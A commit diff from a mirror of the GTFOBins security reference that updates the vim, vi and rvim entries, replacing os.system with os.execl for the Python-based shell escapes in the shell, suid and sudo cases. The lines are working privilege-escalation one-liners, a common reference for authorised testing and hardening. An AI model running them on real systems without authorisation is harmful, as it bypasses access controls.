mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
parent
279381cf3c
commit
ed9363fe2d
@ -2,7 +2,7 @@
|
|||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
- description: This requires that rvim is compiled with Python support.
|
- description: This requires that rvim is compiled with Python support.
|
||||||
code: rvim -c ':py import os;os.system("sh")'
|
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||||
file-write:
|
file-write:
|
||||||
- description: This requires that rvim is compiled with Python support.
|
- description: This requires that rvim is compiled with Python support.
|
||||||
code: |
|
code: |
|
||||||
@ -14,8 +14,8 @@ functions:
|
|||||||
- code: rvim file_to_read
|
- code: rvim file_to_read
|
||||||
suid:
|
suid:
|
||||||
- description: This requires that rvim is compiled with Python support.
|
- description: This requires that rvim is compiled with Python support.
|
||||||
code: ./rvim -c ':py import os;os.system("sh")'
|
code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||||
sudo:
|
sudo:
|
||||||
- description: This requires that rvim is compiled with Python support.
|
- description: This requires that rvim is compiled with Python support.
|
||||||
code: sudo rvim -c ':py import os;os.system("sh")'
|
code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||||
---
|
---
|
||||||
|
@ -7,7 +7,7 @@ functions:
|
|||||||
:set shell=/bin/sh
|
:set shell=/bin/sh
|
||||||
:shell
|
:shell
|
||||||
- description: This requires that vi is compiled with Python support.
|
- description: This requires that vi is compiled with Python support.
|
||||||
code: vi -c ':py import os;os.system("sh")'
|
code: vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
vi file_to_write
|
vi file_to_write
|
||||||
@ -21,5 +21,5 @@ functions:
|
|||||||
sudo:
|
sudo:
|
||||||
- code: sudo vi -c ':!/bin/sh'
|
- code: sudo vi -c ':!/bin/sh'
|
||||||
- description: This requires that vi is compiled with Python support.
|
- description: This requires that vi is compiled with Python support.
|
||||||
code: sudo vi -c ':py import os;os.system("sh")'
|
code: sudo vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||||
---
|
---
|
||||||
|
@ -7,7 +7,7 @@ functions:
|
|||||||
:set shell=/bin/sh
|
:set shell=/bin/sh
|
||||||
:shell
|
:shell
|
||||||
- description: This requires that vim is compiled with Python support.
|
- description: This requires that vim is compiled with Python support.
|
||||||
code: vim -c ':py import os;os.system("sh")'
|
code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||||
file-write:
|
file-write:
|
||||||
- code: |
|
- code: |
|
||||||
vim file_to_write
|
vim file_to_write
|
||||||
@ -20,6 +20,6 @@ functions:
|
|||||||
- code: ./vim -c ':!/bin/sh -p'
|
- code: ./vim -c ':!/bin/sh -p'
|
||||||
sudo:
|
sudo:
|
||||||
- code: sudo vim -c ':!/bin/sh'
|
- code: sudo vim -c ':!/bin/sh'
|
||||||
- code: sudo vim -c ':py import os;os.system("sh")'
|
- code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||||
description: This requires that vim is compiled with Python support.
|
description: This requires that vim is compiled with Python support.
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user